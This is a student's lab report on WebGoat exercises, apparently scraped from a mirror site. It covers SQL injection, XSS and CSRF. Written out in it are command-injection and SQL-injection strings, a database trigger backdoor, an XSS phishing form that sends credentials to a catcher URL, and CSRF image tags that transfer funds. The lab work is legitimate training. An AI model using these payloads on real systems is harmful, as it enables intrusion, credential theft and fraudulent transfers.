Exp9 Web安全基础实践 20154308张珊珊

1、基础问题回答

  • SQL注入攻击原理,如何防护
    • 原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当作用户名等输入正常网页中以获取数据库信息的攻击或对数据库增删查改的基本操做。
    • 防护:限制SQL字符串链接的配置文件;指定错误返回页面;替换或删除单引号;去除代码中的敏感信息;封装数据信息等。
  • XSS攻击的原理,如何防护
    • 原理:恶意攻击者经过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
    • 防护:对用户的输入进行处理,只容许输入合法的值,其它值一律过滤掉。若是有时候不能过滤的话,就将敏感的字符进行替换,让代码失去原本的样子,在读取的时候在替换回来。
  • CSRF攻击原理,如何防护
    • 原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,经过假装来自受信任用户的请求来利用受信任的网站。
    • 防护:经过验证码来检测用户提交,尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post 操做 ,避免全站通用的cookie,严格设置cookie的域。html

      2、实践过程

      1.webgoat

  • 先肯定webgoat安装包放在home目录下
  • java -jar webgoat-container-7.1-exec.ja开启webgoat
  • 打开浏览器,输入localhost:8080/WebGoat,选择默认的帐号密码便可登录

2.SQL练习

Command Injectionjava

  • 题目要求可以在目标主机上执行系统命令,能够经过对源代码进行修改来达到目的
  • 在下拉菜单中选择BackDoors.help,并view,右键选择Inspect Element
  • 修改源代码,在BackDoors.help旁边加上"& netstat -an & ipconfig"
  • 下拉菜单中能看到修改后的值,选择并view,能够看到命令被执行,出现系统网络链接状况

Numeric SQL Injectionweb

  • 题目要求经过注入SQL字符串的方式查看全部的天气数据
  • 相似上一个操做,修改页面的源代码,只要加上一个1=1这种永真式便可达到咱们的目的,在任意一个值好比101旁边加上or 1=1
  • 选中ColumbiaGo,能够看到全部天气数据

Log Spoofingsql

  • 咱们输入的用户名会被追加到日志文件中,因此咱们可使用障眼法来使用户名为“admin”的用户在日志中显示“成功登陆”,在User Name文本框中输入zss%0d%0aLogin Succeeded for username: admin
  • 成功

XPATH Injection数据库

  • 题目要求使用账户Mik/Test123,目标是试着去查看其余员工的数据
  • 构造永真式
user name:zss' or 1=1 or 'a'='a      
password:zss

  • 成功

String SQL Injection浏览器

  • 利用SQL注入让全部的信用卡号都显示出来。
  • 基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
  • 成功,全部用户信息都被显示出来

LAB: SQL Injection服务器

  • 以用户Neville登陆,在密码栏中输入' or 1=1 --进行SQL注入,在这以前,要先将源代码中的的maxlength的值改为100,不然会由于密码长度的限制而登陆不成功
  • 登录成功
  • 能够看到浏览员工信息的按钮ViewProfile,这个地方是以员工ID做为索引传递参数的,咱们要达到经过Larry来浏览老板帐户信息的目的,通常来讲老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一
  • 成功

Database Backdoorscookie

  • 注入语句101; update employee set salary=10000,将工资涨到了10000
  • 再写一个语句101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154322@qq.com' WHERE userid = NEW.userid,建立后门

Blind Numeric SQL Injection网络

  • 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中能够知道,只会反馈两种信息:账号有效或无效
  • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );查看pin数值是否大于2000
  • 逐步缩小范围,最后肯定数值
    xss

    3.XSS

    Phishing with XSS
  • 题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求咱们利用xss和html注入达到这些目标。
  • 使用XSS和HTML插入制做一个钓鱼网站,将其输在search框中,代码以下
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
  • 成功

Reflected XSS Attacks

  • 当输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展现给咱们看
  • 若是咱们将带有攻击性的URL做为输入源,好比<script>alert("23320154308yqh");</script>,就会弹出对话框

    4.CSRF

    Cross Site Request Forgery
  • 要求是让咱们发送一个恶意URL请求的图片给用户。看了hint后知道是在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出来。
  • 查看Screen和menu的值
  • 在信息框内输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>(这句话的意思是将Funds即金钱转到本身的帐户里),点击提交后就执行了这个代码,被攻击者就会给你转钱,成功

CSRF Prompt By-Pass

  • 发个邮件给newsgroup,包含两个恶意请求:一个是转钱的金额,另外一个是确认转帐。
  • 在信息框输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" 
width="1" height="1">
  • 提交以后,攻击成功

3、实践总结

  • 体会到了SQL注入攻击、XSS攻击和CSRF攻击的强大,又有点感慨,其实这些攻击大部分都是同样的“套路”,掌握基本原理就能够实现不少攻击,因此掌握原理,明白思路仍是很重要的。
  • 作了这么多实验,有不懂的,固然仍是懂的比较多,比刚开学时的小白要强不少,很欣慰,也看到了本身的不少不足,之后遇到不会的事情仍是要去努力克服,总会解决的,经过这门课学到了不少。
相关文章
相关标签/搜索